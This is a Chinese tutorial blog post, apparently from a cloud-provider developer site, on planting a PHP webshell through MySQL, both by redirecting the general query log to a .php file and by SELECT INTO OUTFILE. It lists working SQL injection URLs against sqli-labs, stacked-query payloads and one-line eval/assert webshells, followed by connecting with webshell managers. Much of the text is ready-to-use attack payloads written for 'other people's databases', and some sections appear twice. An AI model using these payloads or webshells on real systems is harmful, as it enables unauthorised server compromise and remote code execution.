MySQL写马详解

本文涉及的产品
云数据库 RDS MySQL,集群系列 2核4GB
推荐场景:
搭建个人博客
RDS MySQL Serverless 基础系列,0.5-2RCU 50GB
云数据库 RDS MySQL,高可用系列 2核4GB
简介: MySQL写马详解

日志写马

条件

1.全局变量general_log为ON

MySQL的两个全局变量:

general_log指的是日志保存状态,一共有两个值(ON/OFF)ON代表开启 OFF代表关闭。

general_log_file 指的是日志的保存路径。

mysql> show global variables like "%general_log%";
+------------------+--------------------------------------------------------+
| Variable_name    | Value                                                  |
+------------------+--------------------------------------------------------+
| general_log      | OFF                                                    |
| general_log_file | D:\phpStudy\PHPTutorial\MySQL\data\DESKTOP-UQAMJKA.log |
+------------------+--------------------------------------------------------+
2 rows in set (0.02 sec)

如果目前这个general_log为off状态,那么日志就没有被记录进去,所以要先打开这个全局变量。

set global general_log='on';

打开过后,日志文件中就会记录我们写的sql语句。我这里用sqli-labs来进行执行sql语句:

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1%27%20union%20select%201,2,3--+

打开D:\phpStudy\PHPTutorial\MySQL\data\DESKTOP-UQAMJKA.log日志文件,成功记录

注:不管sql语句是否正确都会记录进去。

不过general_log_file可以直接通过SQL语句修改,而且必须修改为比如php后缀的文件,不然马不能被解析。下面讲第2点条件会详细说明。

2.需要secure_file_priv为空,即secure_file_priv="";或者secure_file_privgeneral_log_file 日志的保存路径的磁盘。不过general_log_file可以直接通过SQL语句修改,必须要修改为比如php后缀的文件,不然马不能被解析:

mysql> set global general_log_file='D:/1.log';
Query OK, 0 rows affected (0.07 sec)
mysql> show variables like "%general%";
+------------------+----------+
| Variable_name    | Value    |
+------------------+----------+
| general_log      | ON       |
| general_log_file | D:/1.log |
+------------------+----------+
2 rows in set (0.03 sec)
#注:其中路径里的\用\\或者/代替,因为\的话会消失一个
mysql> set global general_log_file='D:\1.log';
Query OK, 0 rows affected (0.06 sec)
mysql> show variables like "%general%";
+------------------+---------+
| Variable_name    | Value   |
+------------------+---------+
| general_log      | ON      |
| general_log_file | D:1.log |
+------------------+---------+
2 rows in set (0.03 sec)

然后在D盘下就出现1.log成为新的日志文件了。但是最后也要考虑能不能成功的连接到马,像如果secure_file_priv固定为G:\,而网站是搭在D盘上,那把general_log_file修改为G盘下的文件也连接不到,除非还有文件包含漏洞等等。

show global variables like '%secure%';查看可以写入的磁盘。

(1)当secure_file_priv为空,就可以写入磁盘的目录。

(2)当secure_file_priv为G:\,就可以写入G盘的文件。

(3)当secure_file_priv为null,into outfile就不能写入文件。(注意NULL不是我们要的空,NULL和空的类型不一样)

secure_file_priv=""就是可以into outfile写入任意磁盘文件。

secure_file_priv设置通过设置my.ini来配置,不能通过SQL语言来修改,因为它是只读变量,secure_file_priv设置具体看这里:

若secure_auth为ON,则用以下方法变为OFF(mysql查询默认是不区分大小写的)

secure_file_priv不能通过此方法修改,因为报错为Variable 'XXX' is a read only variable。报错原因及修改方法为:

参数为只读参数,需要在mysql.ini配置文件中更改该参数,之后重启数据库

将secure_file_priv为空的正确方法(注意NULL不是我们要的空,NULL和空的类型不一样)

3.对web目录有写权限MS的系统就不说了,一般都会有权限的,但是linux的系统,通常都是rwxr-xr-x,也就是说组跟其他用户都没有权限写操作。

4.知道物理路径(into outfile '物理路径'), 这样才能写对目录。

select @@b asedir;——MySQL数据库安装的绝对路径:

mysql> select @@b asedir;
+--------------------------------+
| @@b asedir                      |
+--------------------------------+
| D:/phpStudy/PHPTutorial/MySQL/ |
+--------------------------------+
1 row in set (0.07 sec)

5.(1)union注入在这里行不通。

因为要日志写马能够连接必须要修改general_log_file为比如php后缀的文件,不然马不能被解析。所以必须要先用到set global general_log_file='...php';,那么union注入就没机会了,union基本都是?id=1 union select 1,2,select '';这样,不能执行set的。

(2)有堆叠注入,要先?id=1;set global general_log_file='...php';,然后直接执行?id=1;select '';

不过首先要想有堆叠注入的条件,源码中必须要用到mysqli_multi_query(),那么我们此处就可以执行多个sql语句进行注入。一般后台查询数据库使用的语句都是用mysql_query(),所以堆叠注入在mysql上不常见。mysqli_multi_query()可以执行多个sql语句,而mysqli_query()只能执行一个sql语句。

堆叠注入的局限性在于并不是每一个环境下都可以执行,可能受到API或者数据库引擎不支持的限制,当然了权限不足也可以解释为什么攻击者无法修改数据或者调用一些程序。

(3)再者就是已经成功登录到别人的数据库里了,要先set global general_log_file='...php';,然后直接执行select '';

6.对方没有对'"进行过滤,因为outfile后面的物理路径必须要有引号

用法

例子:直接登录进别人的数据库的时候:

set global general_log_file='...php';
select '<?php assert($_POST[v]);?>';

或者堆叠注入:

set global general_log_file='...php';
?id=1;select '<?php assert($_POST[v]);?>';
或者直接?id=<?php assert($_POST[v]);?>;都可以了,因为sql语句不管对错日志都会记录

过程

这里展示下堆叠注入的日志写马过程,用的是sqli-labs的靶场:

实战中堆叠注入来日志写马就不能用show来看全局变量的值了,所以就直接用sql语句修改。

1.先设置general_log为on:

http://127.0.0.1/sqli-labs-master/Less-38/?id=-1' union select 1,2,3;set global general_log='on';--+

2.再设置general_log_file为一个php后缀文件:

http://127.0.0.1/sqli-labs-master/Less-38/?id=-1' union select 1,2,3;set global general_log_file='D:\\phpStudy\\PHPTutorial\\WWW\\log.php';--+

注:其中路径里的\\\或者/代替,因为\的话会消失一个

在Navicat中查询可以看到真的被改了:

可以看到这里必须要知道网站的绝对路径了。

3.secure_file_priv设置只能通过设置my.ini来配置,不能直接通过SQL语句来修改,因为它是只读变量。而且这里也不能show来看,所以只能看缘分~

4.http://127.0.0.1/sqli-labs-master/Less-38/?id=1';select '';--+

或者直接?id=;都可以了,因为sql语句不管对错日志都会记录

5.最后可以用shell管理工具来连接了。比如我这里用蚁剑成功了:

直接成功登录数据库的日志写马可以说是方法和堆叠注入的差不多,就是可以用show来看全局变量的值。这里就不赘述了。

mysql into outfile注射一句话木马

条件

关于mysql into outfile注射,要使用into outfile 把木马写到web目录拿到webshell首先需要有几个条件:

1.就是mysql用户拥有file_priv权限(不然就不能写文件或者读文件)

show global variables like '%secure%';查看into outfile可以写入的磁盘。

(1)当secure_file_priv为空,就可以写入磁盘的目录。

(2)当secure_file_priv为G:\,就可以写入G盘的文件。

(3)当secure_file_priv为null,into outfile就不能写入文件。(注意NULL不是我们要的空,NULL和空的类型不一样)

secure_file_priv=""就是可以into outfile写入任意磁盘文件。

secure_file_priv设置通过设置my.ini来配置,不能通过SQL语言来修改,因为它是只读变量,secure_file_priv设置具体看这里:

若secure_auth为ON,则用以下方法变为OFF(mysql查询默认是不区分大小写的)

secure_file_priv不能通过此方法修改,因为报错为Variable 'XXX' is a read only variable。报错原因及修改方法为:

参数为只读参数,需要在mysql.ini配置文件中更改该参数,之后重启数据库

将secure_file_priv为空的正确方法(注意NULL不是我们要的空,NULL和空的类型不一样)

2.对web目录有写权限MS的系统就不说了,一般都会有权限的,但是linux的系统,通常都是rwxr-xr-x,也就是说组跟其他用户都没有权限写操作。

3.知道物理路径(into outfile '物理路径'), 这样才能写对目录。

select @@b asedir;——MySQL数据库安装的绝对路径:

mysql> select @@b asedir;
+--------------------------------+
| @@b asedir                      |
+--------------------------------+
| D:/phpStudy/PHPTutorial/MySQL/ |
+--------------------------------+
1 row in set (0.07 sec)

4.(1)能够使用union 。(需要mysql 3以上的版本)这个条件是在url里才需要,如果直接登录进别人的数据库,那么就不需要能够使用union了

例子:
?id=1 union select '<?php @e val($_POST['c']);?>' into outfile "C:/phpStudy/WWW/a.php"
?id=1')) UNION SELECT 1,2,'<?php @e val($_POST["v"]);?>' into outfile "D:\\phpStudy\\PHPTutorial\\WWW\\hack.php" --+

(2)或者有堆叠注入,就可以直接?id=1;select '' into outfile "C:/phpStudy/WWW/a.php"这样执行了。

不过首先要想有堆叠注入的条件,源码中必须要用到mysqli_multi_query(),那么我们此处就可以执行多个sql语句进行注入。一般后台查询数据库使用的语句都是用mysql_query(),所以堆叠注入在mysql上不常见。mysqli_multi_query()可以执行多个sql语句,而mysqli_query()只能执行一个sql语句。

堆叠注入的局限性在于并不是每一个环境下都可以执行,可能受到API或者数据库引擎不支持的限制,当然了权限不足也可以解释为什么攻击者无法修改数据或者调用一些程序。

(3)再者就是已经成功登录到别人的数据库里了,直接执行select '' into outfile "C:/phpStudy/WWW/a.php"

5.对方没有对'"进行过滤,因为outfile后面的物理路径必须要有引号

所以,要满足这几个条件还是蛮高难度的。

如果都满足,写入成功了,那么就可以用shell管理工具进行Getshell了

MySQL写入数据select into outfile一句话木马用法

例子:直接登录进别人的数据库的时候:

SELECT "<?php @e val($_POST['xiaohua']); ?>"
INTO OUTFILE '/tmp/test1.php'

在url里要用union:

例子:
?id=1 union select '<?php @e val($_POST['c']);?>' into outfile "C:/phpStudy/WWW/a.php"
?id=1')) UNION SELECT 1,2,'<?php @e val($_POST["v"]);?>' into outfile "D:\\phpStudy\\PHPTutorial\\WWW\\hack.php" --+

或者堆叠注入:

?id=1');SELECT '<?php @e val($_POST["v"]);?>' into outfile "D:\\phpStudy\\PHPTutorial\\WWW\\hack.php";--+

注意

其中路径里的\\\或者/代替,因为\的话会消失一个

过程

1.判断注入类型

http://127.0.0.1/sqli-labs-master/Less-7/?id=1' 报错

http://127.0.0.1/sqli-labs-master/Less-7/?id=1')) --+ 正常

2.判断列数

http://127.0.0.1/sqli-labs-master/Less-7/?id=1')) order by 3 --+ 正常

http://127.0.0.1/sqli-labs-master/Less-7/?id=1')) order by 4 --+ 报错

说明存在3列

3.文件写入

1.判断注入类型

http://127.0.0.1/sqli-labs-master/Less-7/?id=1' 报错

http://127.0.0.1/sqli-labs-master/Less-7/?id=1')) --+ 正常

2.判断列数

http://127.0.0.1/sqli-labs-master/Less-7/?id=1')) order by 3 --+ 正常

http://127.0.0.1/sqli-labs-master/Less-7/?id=1')) order by 4 --+ 报错

说明存在3列

3.文件写入

http://127.0.0.1/sqli-labs-master/Less-7?id=1')) UNION SELECT 1,2,'' into outfile "D:\\phpStudy\\PHPTutorial\\WWW\\hack.php" --+

或者"D:/phpStudy/PHPTutorial/WWW/hack.php",就是不能\,经过测试这样导入不成功。

上面的图中报了错:You have an error in your SQL syntax,显示sql出错了,但是没有关系,我们可以在文件中看到hack.php已经生成了。

这时候用菜刀等webshell管理工具连接就可以了,我下面用的是蚁剑,可以看到连接成功。

堆叠注入:http://127.0.0.1/sqli-labs-master/Less-40/?id=1');SELECT '' into outfile "D:\\phpStudy\\PHPTutorial\\WWW\\hack.php";--+

然后该目录下便生成了我们的马儿,用shell管理工具便可成功连接。从这里可以看到一定要知道网站的绝对路径。

直接成功登录数据库的into outfile写入一句话木马可以说是方法和前面两个的差不多,就是可以用show来看全局变量的值。这里就不赘述了。

相关实践学习
如何快速连接云数据库RDS MySQL
本场景介绍如何通过阿里云数据管理服务DMS快速连接云数据库RDS MySQL,然后进行数据表的CRUD操作。
全面了解阿里云能为你做什么
阿里云在全球各地部署高效节能的绿色数据中心,利用清洁计算为万物互联的新世界提供源源不断的能源动力,目前开服的区域包括中国(华北、华东、华南、香港)、新加坡、美国(美东、美西)、欧洲、中东、澳大利亚、日本。目前阿里云的产品涵盖弹性计算、数据库、存储与CDN、分析与搜索、云通信、网络、管理与监控、应用服务、互联网中间件、移动服务、视频服务等。通过本课程,来了解阿里云能够为你的业务带来哪些帮助 &nbsp; &nbsp; 相关的阿里云产品:云服务器ECS 云服务器 ECS(Elastic Compute Service)是一种弹性可伸缩的计算服务,助您降低 IT 成本,提升运维效率,使您更专注于核心业务创新。产品详情: https://www.aliyun.com/product/ecs
相关文章
|
7月前
|
网络协议 关系型数据库 MySQL
MySQL服务
【5月更文挑战第23天】MySQL服务
62 1
|
7月前
|
前端开发 关系型数据库 MySQL
(3)mysql怎么这么难
(3)mysql怎么这么难
55 0
|
存储 关系型数据库 MySQL
mysql
数据库(Database)是按照数据结构来组织、存储和管理数据的仓库。 每个数据库都有一个或多个不同的 API 用于创建,访问,管理,搜索和复制所保存的数据。 我们也可以将数据存储在文件中,但是在文件中读写数据速度相对较慢。 所以,现在我们使用关系型数据库管理系统(RDBMS)来存储和管理大数据量。所谓的关系型数据库,是建立在关系模型基础上的数据库,借助于集合代数等数学概念和方法来处理数据库中的数据。
79 0
|
SQL 关系型数据库 MySQL
2.初识MySQL
2.初识MySQL
81 0
|
存储 Oracle 关系型数据库
MySQL(一)
MySQL(一),一起来学习吧。
MySQL(一)
|
SQL 存储 缓存
MySQL组成
MySQL组成
|
SQL 关系型数据库 MySQL
MySQL(五)
MySQL(五),一起来学习吧。
|
关系型数据库 MySQL 数据库管理
什么是MySQL
什么是MySQL
136 0
|
SQL 存储 缓存
mysql—day02-mysql
误删除root用户解决方法1
144 0
mysql—day02-mysql
|
关系型数据库 MySQL Java
MySQL
MySQL是常用的数据库管理系统,是一种关联数据库管理系统。